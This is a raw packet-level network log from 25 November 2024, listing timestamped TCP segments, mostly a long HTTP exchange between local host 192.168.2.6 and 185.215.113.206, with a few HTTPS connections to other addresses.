Nov 25, 2024 07:53:48.875947952 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.876043081 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.876085043 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.876540899 CET	49898	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:48.876554012 CET	443	49898	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:48.876775980 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.876852036 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.876893997 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.877036095 CET	49899	443	192.168.2.6	172.64.41.3
Nov 25, 2024 07:53:48.877047062 CET	443	49899	172.64.41.3	192.168.2.6
Nov 25, 2024 07:53:48.877600908 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.877614021 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.877652884 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.877685070 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.878396988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.878456116 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.878498077 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.878535032 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.879240036 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.879302025 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.879343033 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.879383087 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.880073071 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.880088091 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.880130053 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.880148888 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.880820036 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.880870104 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.880924940 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.881635904 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.881728888 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.881808043 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.882504940 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.882666111 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.949943066 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.950026035 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.950098991 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.950234890 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.950289011 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.950292110 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.950335979 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.951011896 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.951071024 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.951114893 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.951236963 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.951805115 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.951857090 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.951888084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.951978922 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.952652931 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.952764988 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.952821970 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.953450918 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.953510046 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.953568935 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.954272032 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.954324961 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.954370975 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.954412937 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.955071926 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.955122948 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.955164909 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.955225945 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.955890894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.955949068 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.956017017 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.956064939 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.956767082 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.956832886 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.956854105 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.956947088 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.957714081 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.957799911 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.957842112 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.957978964 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.958345890 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.958456993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.958511114 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.959141016 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.959189892 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.959230900 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.959283113 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.959940910 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.960021019 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.960043907 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.960084915 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.960763931 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.960882902 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.960916042 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.960954905 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.961637020 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.961683035 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:48.961749077 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:48.961802006 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.000322104 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.000386953 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.000447035 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.000492096 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.000739098 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.000864029 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.000977039 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.000983953 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.001229048 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.001668930 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.001759052 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.001795053 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.001841068 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.002589941 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.002667904 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.002702951 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.002748966 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.003290892 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.003334045 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.003412962 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.003464937 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.004093885 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.004144907 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.004224062 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.004265070 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.004884958 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.004961967 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.004966974 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.005029917 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.005717039 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.005765915 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.005836010 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.005878925 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.006561995 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.006707907 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.006747007 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.006882906 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.007369041 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.007420063 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.007425070 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.007517099 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.007649899 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.007677078 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.007684946 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.007709980 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.007726908 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.007735014 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.007745981 CET	49887	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:49.007762909 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.007782936 CET	49887	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:49.007812023 CET	49887	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:49.008181095 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.008282900 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.008285999 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.008389950 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.009002924 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.009013891 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.009063959 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.009860039 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.009912014 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.009995937 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.010041952 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.010631084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.010643959 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.010675907 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.010698080 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.011425972 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.011540890 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.011609077 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.012214899 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.012263060 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.012276888 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.012330055 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.013052940 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.013112068 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.013223886 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.013267994 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.013870001 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.013915062 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.013950109 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.014058113 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.014664888 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.014780998 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.014786959 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.014921904 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.015476942 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.015604973 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.015819073 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.016273022 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.016328096 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.016437054 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.017111063 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.017167091 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.017196894 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.017239094 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.017941952 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.017990112 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.017991066 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.018060923 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.018728018 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.018775940 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.018825054 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.018898964 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.019537926 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.019582987 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.019654036 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.019727945 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.020359039 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.020406008 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.020478010 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.020523071 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.021138906 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.021235943 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.074563026 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.074645042 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.074656010 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.074707031 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.074898958 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.074944973 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.075066090 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.075107098 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.075166941 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.075238943 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.075879097 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.076001883 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.076061010 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.076697111 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.076755047 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.076800108 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.076838970 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.077522993 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.077570915 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.077574968 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.077610016 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.078325033 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.078407049 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.078466892 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.079165936 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.079219103 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.079294920 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.079415083 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.079981089 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.080035925 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.080064058 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.080149889 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.080781937 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.080904007 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.080956936 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.081578016 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.081629038 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.081665039 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.081756115 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.082453966 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.082520962 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.082528114 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.082777023 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.083229065 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.083292961 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.083348989 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.083400011 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.084036112 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.084099054 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.084115028 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.084156036 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.084786892 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.084857941 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.148772955 CET	49900	443	192.168.2.6	23.209.72.30
Nov 25, 2024 07:53:49.148828030 CET	443	49900	23.209.72.30	192.168.2.6
Nov 25, 2024 07:53:49.148960114 CET	49900	443	192.168.2.6	23.209.72.30
Nov 25, 2024 07:53:49.149462938 CET	49900	443	192.168.2.6	23.209.72.30
Nov 25, 2024 07:53:49.149471998 CET	443	49900	23.209.72.30	192.168.2.6
Nov 25, 2024 07:53:49.151073933 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.151179075 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.151246071 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.151484013 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.151530027 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.151642084 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.151690960 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.152302980 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.152326107 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.152368069 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.153111935 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.153181076 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.153239965 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.153955936 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.153970003 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.154007912 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.154025078 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.154822111 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.154946089 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.154995918 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.155553102 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.155661106 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.155764103 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.156358957 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.156416893 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.156451941 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.156491995 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.157172918 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.157231092 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.157264948 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.157306910 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.157990932 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.158044100 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.158087969 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.158267021 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.158801079 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.158854961 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.158885956 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.158981085 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.159622908 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.159708023 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.159754038 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.160420895 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.160475016 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.160516024 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.160557985 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.161185980 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.161231041 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.183038950 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.183049917 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.183090925 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.183126926 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.183136940 CET	49887	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:49.183159113 CET	443	49887	13.107.246.40	192.168.2.6
Nov 25, 2024 07:53:49.183183908 CET	49887	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:49.183196068 CET	49887	443	192.168.2.6	13.107.246.40
Nov 25, 2024 07:53:49.184267044 CET	49901	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:49.184302092 CET	443	49901	204.79.197.239	192.168.2.6
Nov 25, 2024 07:53:49.184508085 CET	49901	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:49.185134888 CET	49901	443	192.168.2.6	204.79.197.239
Nov 25, 2024 07:53:49.185147047 CET	443	49901	204.79.197.239	192.168.2.6
Nov 25, 2024 07:53:49.201535940 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.201684952 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.201811075 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.201896906 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.201905966 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.202635050 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.202689886 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.202717066 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.203454971 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.203479052 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.203502893 CET	80	49825	185.215.113.206	192.168.2.6
Nov 25, 2024 07:53:49.203519106 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.203545094 CET	49825	80	192.168.2.6	185.215.113.206
Nov 25, 2024 07:53:49.204267025 CET	80	49825	185.215.113.206	192.168.2.6
